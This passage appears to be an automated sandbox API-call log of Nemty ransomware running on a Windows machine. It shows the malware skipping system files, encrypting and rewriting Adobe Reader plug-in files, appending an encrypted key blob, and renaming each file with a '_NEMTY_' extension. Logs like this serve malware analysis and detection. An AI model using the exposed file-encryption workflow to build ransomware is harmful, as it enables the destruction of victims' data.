[0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="rsa") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="NTDETECT.COM") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="ntldr") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="MSDOS.SYS") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="IO.SYS") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="boot.ini") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="boot.ini") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="ntuser.dat") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="desktop.ini") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="CONFIG.SYS") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="RECYCLER") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="BOOTSECT.BAK") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="bootmgr") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="programdata") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="appdata") returned 1 [0190.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DEU", lpUsedDefaultChar=0x0) returned 9 [0190.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DEU", lpUsedDefaultChar=0x0) returned 9 [0190.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DEU", lpUsedDefaultChar=0x0) returned 9 [0190.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.714] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DEU", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DEU", lpUsedDefaultChar=0x0) returned 9 [0190.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.714] Sleep (dwMilliseconds=0x5) [0190.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2553af70, dwHighDateTime=0x1d561e8)) [0190.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2553af70, dwHighDateTime=0x1d561e8)) [0190.723] GetLastError () returned 0x0 [0190.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.724] GetLastError () returned 0x0 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.724] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.724] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="26I5ogf/1JuBUX6OkHhu6+aiJFgRqJcmCcQK+9danGNZnGfRDd1nqTwilZVNXizZ\r\n8oZNDx0dx+vDro1owmpXb8ph6Dt0MeTXTxIdC6Qk9d/hqhUPlvwv+8FUk3VbU2Ew\r\nNyABryhLIrIhrkBzlIwWtOM+Swrw+4cPsZQTqYoXzHHbYXw+D+7QtPP8xamjGCjv\r\n2mV4qobY3Up2EuV7K0/yoMnSFYAWsJPHskab/JQle0vRgavVuInY0BPFDxMJW6fe\r\nh2P8Zo1zL9lpZxh8iBg9xGKjG6R/F5pg+BYNSUIn81rt0KO+Z86nhk/s15uH45YG\r\nTZ2MGQpey3JabvPKmKbJZg==\r\n", pcchString=0x653e29c) returned 1 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.725] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.725] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.725] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.726] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.726] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.726] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.726] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.726] CloseHandle (hObject=0x2f0) returned 1 [0190.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.727] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.deu._nemty_kgobjgd_")) returned 1 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.727] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.728] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.ESP", cAlternateFileName="")) returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2=".") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="..") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="...") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="windows") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="$RECYCLE.BIN") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="rsa") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="NTDETECT.COM") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="ntldr") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="MSDOS.SYS") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="IO.SYS") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="boot.ini") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="boot.ini") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="ntuser.dat") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="desktop.ini") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="CONFIG.SYS") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="RECYCLER") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="BOOTSECT.BAK") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="bootmgr") returned 1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="programdata") returned -1 [0190.728] lstrcmpiW (lpString1="Flash.ESP", lpString2="appdata") returned 1 [0190.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ESP", lpUsedDefaultChar=0x0) returned 9 [0190.728] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ESP", lpUsedDefaultChar=0x0) returned 9 [0190.728] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ESP", lpUsedDefaultChar=0x0) returned 9 [0190.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.ESP", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.ESP", lpUsedDefaultChar=0x0) returned 9 [0190.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.729] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.729] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.729] Sleep (dwMilliseconds=0x5) [0190.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x255610d0, dwHighDateTime=0x1d561e8)) [0190.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x255610d0, dwHighDateTime=0x1d561e8)) [0190.739] GetLastError () returned 0x0 [0190.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.739] GetLastError () returned 0x0 [0190.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.739] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.739] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.739] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.740] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="T4zrb6Fgt2vq1KE2Gyiz56TD+0XqrSVuxxGESXNLgWDKWBiVCvwvvDKUaDryoKxl\r\nRB8OBHmZG6/5FvoUBoSs32dwnTMmh89ml7tSKxYgPV8O+WvVA8vBX6qa9TXag9wr\r\n6Xq66TVmfpqies1RPwCK81SwRAkjx4WI04PJaOpV1x/lmyklD2G7Pe3T92ftxm8F\r\nLlJ24cP+cZ7mkYVobrSmnP7Ei1r/0b8ZNiTV+3efDQ7UyfgDN5FXIvgFQ8wtXvPU\r\nXqYtDvAzI81raRMfHRULEeM9bsv0kEItDKpbRaoS7Br733dJdcnPvmBU7BXP00l9\r\nOg62X6pZO4mYRKyDFQ8/VA==\r\n", pcchString=0x653e29c) returned 1 [0190.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.740] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.740] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.741] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.741] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.741] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.741] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.743] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.743] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.743] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.743] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.743] CloseHandle (hObject=0x2f0) returned 1 [0190.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.743] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.743] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.743] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.esp._nemty_kgobjgd_")) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.744] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 